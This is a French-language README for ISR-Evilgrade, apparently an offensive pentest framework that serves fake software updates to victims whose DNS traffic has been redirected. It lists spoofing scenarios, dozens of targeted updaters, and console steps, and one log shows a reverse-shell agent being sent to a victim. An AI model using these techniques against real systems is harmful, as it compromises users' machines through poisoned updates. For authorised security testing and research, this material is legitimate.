Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [APERÇU RAPIDE] ::.

Evilgrade est un framework modulaire qui permet à l'utilisateur de tirer parti de mauvaises implémentations de mise à jour en injectant de fausses mises à jour. Il est livré avec des binaires préfabriqués (agents), une configuration par défaut fonctionnelle pour des pentests rapides, et possède ses propres modules WebServer et DNSServer. Facile à configurer de nouveaux paramètres, et dispose d'une auto-configuration lorsque de nouveaux agents binaires sont définis.

* Quand dois-je utiliser evilgrade ?

Ce framework entre en jeu lorsque l'attaquant est capable de faire des redirections de noms d'hôte (manipulation du trafic DNS de la victime), et cela peut être fait dans 2 scénarios :

Scénario interne :

Accès DNS interne
Usurpation ARP
Empoisonnement du cache DNS
Usurpation DHCP
Détournement TCP
Usurpation de point d'accès Wi-Fi

Scénario externe :

Accès DNS interne
Empoisonnement du cache DNS

* Comment cela fonctionne-t-il ?

Evilgrade fonctionne avec des modules, dans chaque module se trouve une structure implémentée nécessaire pour émuler une fausse mise à jour pour une application/système spécifique.

* Quels systèmes d'exploitation sont pris en charge ?

ISR-Evilgrade est multiplateforme, il dépend uniquement d'avoir une charge utile appropriée pour la bonne plateforme cible à exploiter.

Modules implémentés :

Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es - (Windows software)
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
more...

/docs/CHANGES

.:: [UTILISATION PRINCIPALE] ::.

Cela fonctionne de manière similaire à une console IOS.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## Liste des modules implémentés``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

Configurer un module spécifié``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### Afficher tous les VirtualHosts.
#### Le champ VirtualHost contient les domaines que notre serveur web va émuler pour nous.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

Afficher les options du module actuel.

agent: Ceci est notre binaire de mise à jour factice, nous devons définir le chemin où il se trouve ou implémenter une génération dynamique de binaire de mise à jour factice (voir AVANCÉ).``` console

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

#### Démarrer les services (DNS Server et WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

Afficher les journaux de statut et de victimes``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [UTILISATION APPROFONDIE] ::.

evilgrade

Populaires